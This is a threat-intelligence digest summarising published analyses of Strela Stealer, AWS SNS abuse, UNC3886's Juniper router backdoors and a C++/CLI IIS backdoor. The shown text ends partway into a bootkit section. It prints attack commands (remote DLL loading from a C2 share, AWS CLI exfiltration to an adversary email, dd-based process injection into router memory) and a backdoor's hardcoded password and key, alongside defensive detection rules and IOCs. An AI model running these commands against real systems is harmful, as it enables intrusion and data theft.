The Feed 2025-03-17

alt text

AI Generated Podcast

https://open.spotify.com/episode/2REePapkW5geuLFjhYwCuI?si=cR22_E6LQpi5G5PgvNSiFQ

Summarized Stories

A Deep Dive into Strela Stealer and how it Targets European Countries

Summary

Strela Stealer is an infostealer malware that has been active since late 2022. It is designed to specifically target and exfiltrate email login credentials from Mozilla Thunderbird and Microsoft Outlook on systems located in chosen European countries. Attackers deliver Strela Stealer through large-scale phishing campaigns, which have evolved to include forwarding legitimate emails with malicious ZIP archives containing the malware loader. The malware employs multi-stage execution with significant obfuscation at each stage to hinder analysis. The threat actor behind Strela Stealer is believed to be a single entity dubbed ‘Hive0145’, and its command-and-control infrastructure is linked to Russian bulletproof hosting providers. The malware checks the system’s locale to ensure it is running in a targeted country before proceeding with data theft. If the locale matches, it searches for and exfiltrates login credentials and other system information.

Technical Details

alt text The attack chain begins with phishing emails written in a local language (e.g., German) and crafted to resemble invoices for recent product purchases. These emails contain a ZIP archive as an attachment. Upon opening, the ZIP archive reveals a JScript (.js) file, which acts as the first-stage loader. Double-clicking the JScript file executes it using the Windows Script Host (wscript.exe).

The JScript code is heavily obfuscated using a technique where individual characters are stored in variables and then concatenated within an eval() function to form the actual payload. After deobfuscation, the script’s initial logic involves verifying the system’s locale. It does this by defining an array of hardcoded Windows language code identifiers (LCIDs) corresponding to German-speaking countries (Germany, Austria, Liechtenstein, Luxembourg, and Switzerland). The script then queries the registry key HKCU\Control Panel\International\Locale to retrieve the local system’s LCID. A loop compares this retrieved LCID against the hardcoded array, and the script only proceeds if a match is found.

Upon successful locale verification, the JScript executes the second-stage payload hosted on a command-and-control (C2) server. It connects to a public WebDAV file share using the cmd /c net use command and then executes a hosted DLL file (e.g., 1909835116765.dll) using the regsvr32 utility. This execution occurs without saving the DLL to disk. Simultaneously, a blurred PDF decoy is downloaded and displayed to the victim to divert suspicion. The observed commands are:

cmd /c net use \\\\193[.]143[.]1[.]205@8080\\davwwwroot\\davwwwroot
cmd /c regsvr32 /s \\\\193[.]143[.]1[.]205@8080\\davwwwroot\\1909835116765[.]dll

The second stage is a packed DLL with no statically identifiable imports and a single exported function, DllRegisterServer, which is invoked by regsvr32. This DLL employs several obfuscation techniques, including large blocks of redundant arithmetic operations with embedded meaningful instructions and control-flow flattening, resulting in a single large function with numerous jump instructions, making analysis difficult. To evade detection, the DLL dynamically resolves API functions by stepping over the Process Environment Block (PEB) to locate kernel32.dll and then using GetProcAddress and LoadLibraryA.

The DLL then allocates memory using VirtualAlloc for the final stage. The .data section of the DLL contains the size of the final stage, a large decryption key (over two thousand bytes), and the encrypted final stage payload. The decryption key, while consisting of byte values mapping to ASCII characters forming a long string, is not used in a text-processing context, potentially to mislead analysts.

The final stage’s code and data are XOR-decrypted using the key and written to the allocated memory with a stripped PE header. The import address table of the final stage is then reconstructed. Finally, the second-stage DLL transfers execution to the original entry point of the unpacked final stage using a CALL RCX instruction.

The final stage, containing the actual Strela Stealer code, is also heavily obfuscated. It utilizes unnecessary arithmetic operations, control-flow flattening, opaque predicates, and redundant fiber manipulation to complicate analysis and debugging. The code frequently iterates over tables of addresses, loading them into the RAX register and executing them with a JMP RAX instruction, further hindering execution flow analysis and decompilation. The malware uses fibers and Fiber Local Storage (FLS) as an anti-analysis technique. It repeatedly allocates FLS indices with a junk subroutine as a callback, then frees the index, causing the redundant code to execute and wasting analysis time. While the SetUnhandledExceptionFilter API, often used for debugger detection, is called, it is not used effectively in this sample as a redundant subroutine is passed as the exception filter.

Similar to the first stage, the final stage performs another locale verification. It retrieves installed input locales using GetKeyboardLayoutList and GetLocaleInfoA and compares the LCIDs against hardcoded values. This particular sample targets Spain, Germany, Italy, Poland, and Ukraine. If the locale matches, the malware proceeds with data exfiltration; otherwise, it terminates.

For data exfiltration, Strela Stealer first searches for Mozilla Thunderbird profile data in %APPDATA%\Thunderbird\Profiles for the key4.db and logins.json files. If found, these files are encrypted and sent to the C2 server at hxxp://193[.]143[.]1[.]205/up.php via an HTTP POST request. The user-agent for this request is the system’s volume GUID. The malware waits for a server response using InternetReadFileA() in a loop with one-second pauses using Sleep().

Next, it checks the system registry for specific keys containing Microsoft Outlook profile data:

  • HKCU\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
  • HKCU\Software\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676
  • HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

If any of these keys are found, the malware reads the “IMAP User”, “IMAP Server”, and “IMAP Password” values and decrypts them using the CryptUnprotectData API function. This data is then exfiltrated to the C2 server using the same HTTP POST method.

Finally, Strela Stealer gathers system information by executing systeminfo using ShellExecuteExA and saving the output to a text file in the %TEMP% directory with a unique host identifier as the filename. It also retrieves a list of installed applications from the “AppsFolder” using SHGetKnownFolderItem. This collected information is also exfiltrated to the C2 server.

The C2 infrastructure for this Strela Stealer sample is associated with a Russian bulletproof hosting network, specifically the Proton66 OOO autonomous system (AS 198953) based in Saint Petersburg.

Countries

  • Spain
  • Italy
  • Germany
  • Ukraine
  • Austria
  • Liechtenstein
  • Luxembourg
  • Switzerland
  • Poland

Industries

The sources do not specify particular industries targeted by this campaign. The focus appears to be on individual email users.

Recommendations

The provided article focuses on technical analysis and does not explicitly offer recommendations for defense or mitigation. However, based on the observed TTPs, standard best practices for preventing malware infections should be followed, including:

  • Exercising caution when opening email attachments, especially from unknown or suspicious senders.
  • Verifying the legitimacy of invoices or other financial documents received via email.
  • Maintaining up-to-date antivirus and anti-malware software.
  • Educating users about phishing tactics and social engineering.
  • Implementing email security solutions that can scan attachments and identify malicious content.
  • Monitoring network traffic for connections to known malicious infrastructure.

Hunting methods

The article does not provide specific hunting queries in languages like Yara, Sigma, KQL, or SPL. However, threat hunters can look for the following indicators and behaviors:

  • Suspicious JScript execution: Monitor for wscript.exe executing JScript files from temporary directories or email attachments. Analyze command-line arguments for unusual activities, such as attempts to download files or execute other processes.
  • regsvr32.exe anomalies: Monitor for regsvr32.exe being used to execute DLL files from remote locations (e.g., WebDAV shares) without them being saved to disk. The /s flag suppresses output, which is often used by malware.
  • Network connections to known IOCs: Inspect network traffic for connections to the IP address 193.143[.]1.205 on ports 80 or other common web ports. Look for HTTP POST requests to /invoice.php or /up.php.
  • Unusual registry modifications: Monitor for access or modifications to the specific Outlook profile registry keys mentioned in the technical details.
  • Process activity: Observe processes for the execution of systeminfo.exe followed by network connections to external IPs.
  • File creation in %TEMP%: Look for newly created .txt files in the %TEMP% directory with seemingly random or GUID-like filenames, which might contain the output of systeminfo.
  • User-Agent strings: Monitor HTTP requests for the use of system volume GUIDs as user-agent strings when communicating with external servers.

IOC

Filenames:

  • 1692630503222433608.js
  • 1909835116765.dll

SHA256 Hashes:

  • f5c54fce6c9e2f84b084bbf9968c9a76d9cd74a11ccf4fcba29dbe2e4574e3d7
  • 9c49266e315eb76ce73cbe542cfd2bbf28844689944ac8776daecbdcdecd8cf8
  • 31389cb2f067020f181462bab3519c22fd88da084012729e9edf79d15427b86f

IP Addresses:

  • 193.143[.]1.205

URLs:

  • hxxp://193.143.1.205/invoice.php
  • hxxp://193.143.1.205/up.php

Original link: https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/a-deep-dive-into-strela-stealer-and-how-it-targets-european-countries/

AWS SNS Abuse: Data Exfiltration and Phishing

Summary

This article from Elastic Security Labs details how threat adversaries can misuse AWS Simple Notification Service (SNS) for malicious activities such as data exfiltration and phishing (smishing). The research stemmed from an internal collaboration involving SNS for data exfiltration during a whitebox exercise, which sparked interest in potential abuse scenarios. The article explores techniques adversaries might employ, along with security best practices, role hardening, and threat detection logic for SNS abuse. It covers both application-to-person (A2P) workflows, focusing on SMS, email, and push notifications, and highlights how adversaries might leverage these for their objectives. The article also discusses in-the-wild abuse, referencing a SentinelOne report on a spam messaging campaign using AWS SNS. Finally, it provides threat detection and hunting opportunities based on CloudTrail logs to identify potential SNS abuse.

Technical Details

alt text AWS SNS Overview: AWS SNS is a web service for sending and receiving notifications in the cloud, functioning as a publish/subscribe (pub/sub) service similar to Azure Web PubSub and GCP Pub/Sub. It supports two workflows: application-to-person (A2P) and application-to-application (A2A). This article primarily focuses on A2P workflows, where messages are delivered via SMS, email, or push notifications. Key features of SNS include filter policies allowing subscribers to receive specific message subsets, server-side encryption (SSE) using AWS KMS for data at rest, with in-transit encryption handled by protocols like HTTPS, automatic delivery retries and Dead Letter Queues (DLQs) for failed deliveries, and scalability to handle large message volumes. While powerful, SNS’s versatility makes it susceptible to abuse.

Whitebox Testing for Data Exfiltration: The article details a whitebox test simulating data exfiltration via SNS. This involves an adversary gaining access to an EC2 instance with IAM role permissions for sns:Publish, sns:Subscribe, and sns:CreateTopic. The simulated attack follows these steps:

  • Discovery and staging of sensitive data on the EC2 instance.
  • Leveraging IMDSv2 and STS with the AWS CLI to obtain temporary credentials (though the instance’s role already grants necessary permissions).
  • Creation of an SNS topic using the AWS CLI: aws sns create-topic --name "whitebox-sns-topic" --query 'TopicArn' --output text.
  • Subscription of an external email address to the created topic using the AWS CLI: aws sns subscribe --topic-arn "$TOPIC_ARN" --protocol email --notification-endpoint "adversary@protonmail.com".
  • Confirmation of the subscription via a link sent to the external email.
  • Publishing stolen, Base64 encoded data to the SNS topic using the AWS CLI: aws sns publish --topic-arn "$TOPIC_ARN" --message "$BASE64_CONTENT" --subject "Encoded Credentials from EC2".
  • The external email address receives the exfiltrated data.

The example highlights how adversaries can bypass network ACLs by exfiltrating data within AWS. Challenges for adversaries in such scenarios include gaining initial access, maintaining a session, the presence of the AWS CLI, permissive IAM role policies, and evading detection. Advantages include blending with native AWS services, identity impersonation via IAM roles, bypassing network controls, the potential lack of SNS abuse detections, minimal footprint of used commands, efficient scalability, persistence of exfiltration, and bypassing egress monitoring.

In-the-Wild Abuse for Smishing and Phishing: The article discusses real-world abuse of SNS for smishing (SMS phishing) campaigns, referencing SentinelOne’s research on “SNS Sender,” a Python-based tool used to send bulk SMS phishing messages via compromised AWS credentials. This requires an AWS account with production-level End User Messaging permissions, bypassing the SNS Sandbox Mode which limits SMS sending to verified numbers. Weaponization involves having a registered origination identity (long code, toll-free, or short code), regulatory approval, and carrier pre-approval. Adversaries might test delivery within the sandbox using verified numbers and across different AWS regions. They are also likely to prioritize transactional messages (like OTPs) over promotional ones. In some regions, adversaries might abuse Sender IDs to spoof trusted entities or exploit long codes and toll-free numbers. Setting up a fully configured AWS End User Messaging service with a legitimate Sender ID and phone pool increases the success rate of phishing campaigns by appearing as legitimate communication. The article notes that CloudTrail logging of failed SMS delivery attempts was unexpected during their testing, highlighting a potential gap in monitoring.

Detection and Hunting Opportunities: The article provides several detection rules and hunting queries leveraging CloudTrail logs ingested into Elastic, but translatable to other SIEMs. These focus on assumed roles, particularly those associated with EC2 instances.

  • SNS Topic Created by Rare User: This detection identifies when an SNS topic is created by an unusual IAM user or role ARN. The hunting query (ES QL) looks for CreateTopic API actions from assumed roles associated with EC2 instances, aggregating by cloud account, EC2 instance ID, assumed role name, region, and user agent to identify anomalous topic creation. Unusual user agent strings or the presence of an access key ID in logs can indicate compromised credentials.
  • SNS Topic Subscription with Email by Rare User: This detection identifies rare SNS topic subscriptions involving email. The hunting query (ES QL) focuses on Subscribe API actions specifying the email protocol, aggregating by user identity ARN, region, source IP address, and user agent to find infrequent subscriptions. The absence of the subscribed email address in CloudTrail is noted as a limitation. Again, the presence of an access key ID is a suspicious indicator.
  • SNS Topic Message Published by Rare User: This identifies unusual message publishing to SNS topics. The hunting query (ES QL) looks for Publish API actions by assumed roles associated with EC2 instances, aggregating by account ID, EC2 instance, assumed role, topic ARN, region, and user agent to detect anomalies. Unusual user agents (like those indicating custom SDKs or tools) or the presence of access keys warrant investigation.
  • SNS Direct-to-Phone Messaging Spike: This hunting method focuses on spikes in Publish API actions where phoneNumber is present in the request parameters, indicating direct SMS messages bypassing topics, which could signal smishing. The ES QL query tracks the count of such messages within 10-second windows, grouped by timestamp, account ID, user identity ARN, region, source IP, and user agent, flagging counts exceeding a threshold (e.g., 30). Deeper analysis in CloudWatch or third-party tools is needed as phone numbers are sanitized in CloudTrail. Unusual sources like EC2 instances are highlighted as suspicious.

The article emphasizes that SNS abuse for phishing and data exfiltration is a potential and possibly emerging threat, often overlooked in security discussions. Defenders should proactively monitor SNS activity, refine detection logic, and implement robust security controls, including IAM policy hardening and thorough logging.

Countries

The article does not explicitly specify targeted countries for AWS SNS abuse. The whitebox testing is performed in a controlled AWS environment. The referenced SentinelOne research involves a spam messaging campaign, but the targeting geography is not detailed in this excerpt.

Industries

The article does not specify targeted industries for AWS SNS abuse. The examples provided are technical demonstrations of potential misuse. The referenced SentinelOne research on smishing might broadly impact various user bases but doesn’t focus on specific industries in this excerpt. The article suggests that adversaries targeting AWS End User Messaging are likely to target companies that rely on automated SMS alerts, such as logistics, e-commerce, and travel/hospitality.

Recommendations

The article provides several defensive measures to mitigate the risks of AWS SNS abuse:

  • IAM Policy Hardening: Implement the principle of least privilege (PoLP) to ensure IAM roles and users only have the necessary permissions, limiting the ability to perform actions like sns:Publish, sns:Subscribe, and sns:CreateTopic unless explicitly required.
  • CloudTrail & SNS Logging: Ensure CloudTrail is enabled and properly configured to capture API actions related to SNS. Consider enabling SNS delivery logs for deeper message metadata, although the content and phone numbers are typically sanitized in AWS logs.
  • Anomaly-Based Detections: Implement monitoring and alerting for unusual SNS API activity, such as:
    • Creation of SNS topics by rare or unexpected user identities, especially those associated with EC2 instances.
    • Subscriptions to SNS topics by external email addresses or other unexpected endpoints.
    • Unusual spikes in SNS message publishing, particularly direct-to-phone messages.
    • SNS actions originating from unusual AWS regions or user agents.
  • Security Best Practices: Follow AWS security best practices to reduce the overall attack surface. This includes securing EC2 instances, monitoring for compromised credentials, and regularly reviewing IAM policies.
  • Proactive Threat Hunting: Utilize the provided hunting queries (or adapt them for your SIEM) to proactively search for indicators of potential SNS abuse in CloudTrail logs.
  • Monitor User Agents: Pay attention to user agent strings in CloudTrail logs, as unusual or non-AWS standard user agents might indicate the use of custom tooling for malicious purposes.

Hunting methods

Check the original article for queries.

Original link: https://www.elastic.co/security-labs/aws-sns-abuse

Ghost in the Router: China-Nexus Espionage Actor UNC3886 Targets Juniper Routers

Summmary

In mid-2024, Mandiant discovered that the China-nexus espionage group UNC3886 deployed custom backdoors on Juniper Networks’ Junos OS routers. These backdoors, based on TINYSHELL, possessed various capabilities, including active and passive backdoor functions and the ability to disable logging mechanisms. The affected Juniper MX routers were running end-of-life hardware and software. UNC3886 has a history of targeting network devices and virtualization technologies. Their focus appears to be on maintaining long-term access to victim networks, demonstrating a deep understanding of the targeted technologies. Mandiant identified six distinct TINYSHELL-based malware samples. The threat actor bypassed Junos OS’s Veriexec protection through process injection. They gained privileged access using legitimate credentials and then injected malicious code into the memory of a legitimate process. UNC3886 targeted defense, technology, and telecommunication organizations primarily in the US and Asia. No technical overlaps were identified with publicly reported Volt Typhoon or Salt Typhoon activities. The investigation did not observe evidence of data staging and exfiltration. The compromise of routing devices signifies a trend towards long-term, high-level access to crucial infrastructure.

Technical Details

The threat actor, UNC3886, targeted Juniper Networks’ Junos OS routers, which are based on a modified FreeBSD operating system, supporting both CLI and shell modes. The identified malware primarily leverages access to the csh shell. A key challenge was Junos OS’s Veriexec subsystem, a kernel-based file integrity mechanism designed to prevent unauthorized code execution. While no exploitation of known Veriexec bypasses was observed, the successful deployment of executable backdoors indicated that the threat actor achieved root access on end-of-life Juniper MX routers.

UNC3886 bypassed Veriexec by employing process injection. This technique, now tracked as CVE-2025-21590, involves injecting malicious code into the memory space of a legitimate, trusted process. The actor first gained privileged access to a Juniper router from a terminal server using legitimate credentials and then accessed the FreeBSD shell. Within the shell, they used the “here document” feature to create a base64 encoded file (ldb.b64), which was then decoded and decompressed to extract malicious binaries. Although the full content of these archive files was not recovered from the file system, memory analysis yielded three malicious payloads.

These payloads were:

  • loader.bin: A shellcode loader responsible for loading essential functions from libc.so.7, allocating memory, and executing the final payload.
  • pc.bin: Contained a memory address (0x4012f0), pointing to the location where loader.bin was injected.
  • payload.bin: Identified as the Position Independent Code (PIC) version of the lmpad backdoor.

The process injection technique involved a hung cat process. The threat actor created a named pipe (null) and used cat to continuously read from it, creating a process that would wait indefinitely for input. The following commands were used:

rm -rf null;  mkfifo null;  cat null &  set pid=$!  echo " $pid"

The process ID ($pid) of this hung cat process was then used with the dd utility to write the malicious payloads into its memory.

dd if=loader.bin of=/proc/$pid/mem conv=notrunc obs=1 oseek=0x4012f0
dd if=pc.bin of=/proc/$pid/mem conv=notrunc obs=1 oseek=0x602820

The first dd command wrote loader.bin to the cat process’s entry point (0x4012f0). The second command overwrote the global offset table entry for fclose at 0x602820 with the address of the injected loader.bin (0x4012f0). Subsequently, an empty string was sent to the null pipe, causing cat to receive an end-of-file signal and attempt to execute fclose. However, due to the overwritten GOT entry, the shellcode loader was executed instead, leading to the loading and execution of payload.bin (lmpad backdoor) within the cat process. Finally, the threat actor cleaned up by removing the null pipe and the ldb directory and terminating the session.

Mandiant identified six distinct malware samples, all modified versions of the TINYSHELL backdoor. These samples had unique activation methods and Junos OS-specific features. The identified malware families are:

  • appid: An active backdoor mimicking appidd (Application Identification Daemon), communicating with hardcoded C2 servers over TCP, encrypting traffic with AES, and supporting standard TINYSHELL commands along with proxy and reconfiguration capabilities.
  • to: Identical to appid but with different hardcoded C2 servers.
  • irad: A passive backdoor mimicking irsd (Interface Replication and Synchronization Daemon), acting as a libpcap-based packet sniffer that receives commands by inspecting ICMP packets for a magic string. It supports active and passive listening modes and standard TINYSHELL commands along with custom commands for doing nothing and relaying connections.
  • lmpad: A utility and passive backdoor mimicking lmpd (Link Management Protocol Daemon). It can launch an external script to inhibit logging by manipulating syslog.conf, sending signals to the eventd daemon, and backing up/restoring logs and configurations. It also directly patches the memory of snmpd and mgd processes to disable SNMP traps and auditd logging of MGD events. It also supports launching a CSH session over UDP with encrypted communication and standard file transfer commands.
  • jdosd: A passive backdoor mimicking jddosd (Juniper DDOS protection Daemon), operating over UDP on a fixed port with a custom RC4 implementation. It supports standard TINYSHELL commands for file transfer and remote shell, along with a no-op and exit command.
  • oemd: A passive backdoor mimicking oamd (Operation, Administration and Maintenance Daemon). It receives the C2 address and port by binding to specific network interfaces (or routing addresses) and communicates over TCP with AES encryption and XOR encoding. It supports standard TINYSHELL file transfer and shell execution commands.

All identified malware samples create an AF_ROUTE socket for interacting with the Junos OS routing subsystem, likely to retrieve interface information.

Countries

US Asia

Industries

Defense Technology Telecommunication Internet Service Providers (ISPs)

Recommendations

  • Upgrade Juniper devices and run security checks: Upgrade Juniper devices to the latest images, which include mitigations and updated signatures for JMRT, and run JMRT Quick Scan and Integrity check after the upgrade.
  • Secure Authentication: Implement a centralized Identity and Access Management (IAM) system with robust multi-factor authentication (MFA) and granular role-based access control (RBAC) for managing network devices.
  • Configuration Management: Implement a network configuration management that supports configuration validation against defined templates and standards, with the ability to automatically remediate deviations or trigger alerts for manual intervention.
  • Enhanced Monitoring: Address and prioritize high-risk administrative activities and implement monitoring solutions with a process to regularly review the effectiveness of detection.
  • Vulnerability Management: Prioritize patching and mitigation of vulnerabilities in network devices, including those in lesser-known operating systems.
  • Device Lifecycle Management: Implement a device lifecycle management program that includes proactive monitoring, automated software updates, and end-of-life (EOL) replacement planning to ensure network devices are always supported and secure.
  • Security Hardening: Strengthen the security posture of network devices, administrative devices, and systems used for managing network devices by implementing strict access controls, network segmentation, and other security measures.
  • Threat Intelligence: Proactively leverage threat intelligence to continually evaluate and improve the effectiveness of security controls against emerging threats.
  • Organizations potentially impacted are strongly advised to engage Mandiant’s Custom Threat Hunt service.

Hunting methods

  • YARA-L Rules: Relevant rules are available in the Google SecOps Mandiant Intel Emerging Threats curated detections rule set for:
    • SEAELF Installer Execution
    • GHOSTTOWN Utility Execution
    • REPTILE Rootkit Command Line Argument Tampering
    • REPTILE Rootkit Cmd Component Usage
    • REPTILE Rootkit Shell Component Usage
    • REPTILE Rootkit Hide Command Usage
  • YARA Rules:
    • M_Hunting_PacketEncryptionLayer_1: 
      rule M_Hunting_PacketEncryptionLayer_1  {
    meta:
        author = "Mandiant"
    strings:
        $pel_1 = "pel_client_init"
        $pel_2 = "pel_server_init"
        $pel_3 = "pel_setup_context"
        $pel_4 = "pel_send_msg"
        $pel_5 = "pel_recv_msg"
        $pel_6 = "pel_send_all"
        $pel_7 = "pel_recv_all"
        $pel_8 = "pel_errno"
        $pel_9 = "pel_context"
        $pel_10 = "pel_ctx"
        $pel_11 = "send_ctx"
        $pel_12 = "recv_ctx"
    condition:
        4 of ($pel_*)
}

    • Logic: This rule looks for the presence of at least four distinct string literals associated with a custom packet encryption layer, potentially used by the malware for command and control communication.

    • M_Hunting_TINYSHELL_5: 
      rule M_Hunting_TINYSHELL_5  {
    meta:
        author = "Mandiant"
    strings:
        $tsh_1 = "tsh_get_file"
        $tsh_2 = "tsh_put_file"
        $tsh_3 = "tsh_runshell"
        $tshd_1 = "tshd_get_file"
        $tshd_2 = "tshd_put_file"
        $tshd_3 = "tshd_runshell"
    condition:
        all of ($tshd_*) or all of ($tsh_*)
}
    • Logic: This rule detects samples containing all string literals associated with standard TINYSHELL commands, indicating the presence of a TINYSHELL-based backdoor.
  • Snort/Suricata Rules:
    • M_Backdoor_TINYSHELL_deadbeef_1: 
      alert udp any any -> any any ( msg:"M_Backdoor_TINYSHELL_deadbeef_1";   dsize:>15; content:"|44 31 3A 14 45 95 6A 73|"; offset: 0; depth:8;   threshold:type limit,track by_src,count 1,seconds 3600; sid:1000000; rev:1; )

    • Logic: This rule detects UDP packets larger than 15 bytes with a specific byte sequence at the beginning of the payload. This sequence likely corresponds to an encrypted form of the 0xDEADBEEF magic value used by the jdosd backdoor. The threshold limits the number of alerts from the same source IP within an hour.

    • M_Backdoor_TINYSHELL_deadbeef_2: 
      alert udp any any -> any any ( msg:"M_Backdoor_TINYSHELL_deadbeef_2";   dsize:>15; content:"|64 11 1A 34 65 B5 4A 53|"; offset: 0; depth:8;   threshold:type limit,track by_src,count 1,seconds 3600; sid:1000001; rev:1; )

    • Logic: Similar to the previous rule, this detects another potential encrypted form of the 0xDEADBEEF magic value used by jdosd in UDP traffic, with a threshold to limit alerts.

    • M_Backdoor_TINYSHELL_uSarguuS62bKRA0J: 
      alert icmp any any -> any any ( msg:"M_Backdoor_TINYSHELL_uSarguuS62bKRA0J";   content:"|f3 d5 e7 f4 e1 f3 f3 d5 b0 b4 e4 cd d4 c7 b6 cc|"; threshold:type   limit,track by_src,count 1,seconds 3600; sid:1000002; rev:1; )

    • Logic: This rule detects ICMP packets containing the XOR-encrypted magic string used by the irad backdoor for activation. The threshold limits alerts from the same source IP.

    • M_Backdoor_TINYSHELL_0b3330c0b41d1ae2: 
      alert udp any any -> any any ( msg:"M_Backdoor_TINYSHELL_0b3330c0b41d1ae2";   dsize:>27; content:"|c5 c4 ec 4d|"; offset: 0; depth:4; content:"|a6 04 ed 83   92 46 ce 40 9a 34 8c 7b 5a d6 e5 0d|"; offset:12; depth:16; threshold:type   limit,track by_src,count 1,seconds 3600; sid:1000003; rev:1; )
    • Logic: This rule looks for UDP packets larger than 27 bytes with specific byte sequences at the beginning and after an offset. These sequences likely correspond to encrypted communication related to the lmpad backdoor, which uses the RC4 key 0b3330c0b41d1ae2. The threshold limits alerts from the same source IP.

IOC

IP Addresses:
129.126.109.50
116.88.34.184
223.25.78.136
45.77.39.28
101.100.182.122
118.189.188.122
158.140.135.244
8.222.225.8

File Hashes (MD5):
2c89a18944d3a895bd6432415546635e
aac5d83d296df81c9259c9a533a8423a
8023d01ffb7a38b582f0d598afb974ee
5724d76f832ce8061f74b0e9f1dcad90
e7622d983d22e749b3658600df00296d
b9e4784fa0e6283ce6e2094426a02fce
bf80c96089d37b8571b5de7cab14dd9f
3243e04afe18cc5e1230d49011e19899

File Hashes (SHA1):
50520639cf77df0c15cc95076fac901e3d04b708
1a6d07da7e77a5706dd8af899ebe4daa74bbbe91
06a1f879da398c00522649171526dc968f769093
f8697b400059d4d5082eee2d269735aa8ea2df9a
cf7af504ef0796d91207e41815187a793d430d85
01735bb47a933ae9ec470e6be737d8f646a8ec66
cec327e51b79cf11b3eeffebf1be8ac0d66e9529
2e9215a203e908483d04dfc0328651d79d35b54f

File Hashes (SHA256):
98380ec6bf4e03d3ff490cdc6c48c37714450930e4adf82e6e14d244d8373888
5bef7608d66112315eefff354dae42f49178b7498f994a728ae6203a8a59f5a2
c0ec15e08b4fb3730c5695fb7b4a6b85f7fe341282ad469e4e141c40ead310c3
5995aaff5a047565c0d7fe3c80fa354c40e7e8c3e7d4df292316c8472d4ac67a
905b18d5df58dd6c16930e318d9574a2ad793ec993ad2f68bca813574e3d854b
e1de05a2832437ab70d36c4c05b43c4a57f856289224bbd41182deea978400ed
3751997cfcb038e6b658e9180bc7cce28a3c25dbb892b661bcd1065723f11f7e
7ae38a27494dd6c1bc9ab3c02c3709282e0ebcf1e5fcf59a57dc3ae56cfd13b4

Original link: https://cloud.google.com/blog/topics/threat-intelligence/china-nexus-espionage-targets-juniper-routers/

Off the Beaten Path: Recent Unusual Malware

Summmary

This article from Unit 42 describes three recently discovered, unusual malware samples with unique characteristics that posed challenges for attribution and function determination. The first sample is a passive Internet Information Services (IIS) backdoor developed in the uncommon programming language C++/CLI. The second is a bootkit that installs a GRUB 2 bootloader by leveraging an unsecured kernel driver for an unconventional purpose. The third is a Windows implant of a cross-platform post-exploitation framework named ProjectGeass, developed in C++. While ProjectGeass itself doesn’t employ novel methods, its deviation from other post-exploitation frameworks observed recently makes it noteworthy. Palo Alto Networks customers using Advanced WildFire, Cortex XDR, and XSIAM are stated to have protection against these threats. The article also provides contact information for the Unit 42 Incident Response team for potential compromises.

Technical Details

C++/CLI IIS Backdoor

This IIS backdoor is notable for being developed in C++/CLI, a language extension of C++ used for mixed-mode .NET applications, which is rarely seen in malware. The use of C++/CLI makes analysis challenging due to the difficulty in decompiling the interoperation code. Two versions of this passive IIS malware were found, submitted from Thailand.

Version 1: Compiled on April 28, 2023, and internally named IISShellModule. It registers itself as an IIS module to receive RQ_SEND_RESPONSE event notifications, triggering its OnSendResponse method whenever the IIS server sends an HTTP response. For callback traffic, it requires an HTTP POST request with specific headers: X-ZA-Product: AbJc123!@#45!! (reassigned as PWD_HEADER with the value PWD_VALUE) and **X-ZA-Platform: ** (reassigned as CMD\_HEADER with CMD\_VALUE). Both PWD\_VALUE and CMD\_VALUE are **AES-encrypted** with the key **AQJBdmin!@#45!@##** (internally called KEY) and then **Base64-encoded**. The OnSendResponse method then processes commands from the CMD\_VALUE. Version 1 patches **AMSI and ETW** routines only when executing a .NET assembly in a new process. For commands 3-5, it uses native Windows API functions to **execute command-line commands by spawning a child cmd.exe process and redirecting the result to a pipe**, **read the result from the pipe**, and **terminate the child process and close the pipe**.

Version 2: Compiled on May 9, 2023, and internally named proxyxml_v4 (described as version 2). It differs from version 1 in its handling of external commands by using a custom cmd.exe wrapper tool (BackendIPCServer) embedded in the .rdata section, accessible via a named pipe \.\pipe\pipename_isudbvvws. This change likely aimed to reduce monitorable activity. Version 2 performs AMSI/ETW patching at the beginning of the command data event handler. It implements a broader range of commands, including:

  • Replying with a test HTTP request (command 2).
  • Writing the embedded cmd.exe wrapper application to %PUBLIC%\VC_REDIST_CONFIG_X64.TXT and creating a process for it, redirecting command-line commands via the named pipe (commands 3/4/5 - ProcessCmdOperation).
  • Creating an empty file (command 6 - OnUploadNewFile).
  • Writing data to a file (command 7 - OnUploadFileData).
  • Checking file size (command 8 - OnDownloadNewFile).
  • Returning file data (command 9 - OnDownloadFileData).
  • Creating a memory buffer and writing shellcode, .NET assembly, or PowerShell code to it (command 10 - OnUploadMemoryData).
  • Self-contained command-line execution (command 14) including:
    • Returning current directory (14-0 - exec_builtin_cmd_pwd).
    • Listing directory contents (14-1 - exec_builtin_cmd_ls).
    • Reading file data (14-2 - exec_builtin_cmd_cat).
    • Removing a file (14-3 - exec_builtin_cmd_rm).
    • Getting running processes (14-4 - exec_builtin_cmd_process).
    • Gathering detailed system information (14-5 - exec_builtin_cmd_sysinfo).
    • Creating a process from a file (14-6 - exec_builtin_cmd_exec).
    • Executing PowerShell code in its own run space (14-7 - exec_builtin_cmd_ps and 14-8 - exec_builtin_cmd_pscript, the latter from memory).
    • Loading and executing a .NET assembly (14-9 - exec_builtin_cmd_net), potentially in a new process using an embedded loader DLL or in the current process via CLR hosting.
    • Injecting shellcode (14-10 - exec_builtin_cmd_inject) into a new, existing, or the current process.

A small embedded loader DLL is used in version 2 to load assemblies into a new process as part of the exec_builtin_cmd_net command. Both versions encrypt and Base64-encode the returned results of each command. Despite being professionally created, the malware has cleartext debug strings and hard-coded passwords and keys. The code also exhibits inconsistent notation, debug messages, and typos, suggesting the author might not be a native English speaker. The malware extensively uses native Windows API functions and employs Hungarian notation.

Dixie-Playing Bootkit

This bootkit, initially suspected to be linked to the Equation Group, shares some characteristics like the exported function name dll_u, usage of msvcrt.dll functions, and abuse of a third-party driver for kernel-mode access. However, key differences, including being compiled with MinGW and signed by the University of Mississippi with an invalid certificate, and its unusual behavior, strongly suggest it is not related. The sample was submitted to VirusTotal from Oxford, Mississippi, with the filename w32analytics.dll from C:\Windows\System32, indicating a real-world infection by a user with administrative privileges.

The malware is a 64-bit DLL with exported functions dll_u and install. The install export deletes previous installations and creates a scheduled task named w32analytics to run once at 7:00 AM under the SYSTEM account, executing the dll_u function. The dll_u function decompresses a 35 MB disk image containing a hybrid GRUB 2 bootloader compatible with both BIOS and UEFI systems.

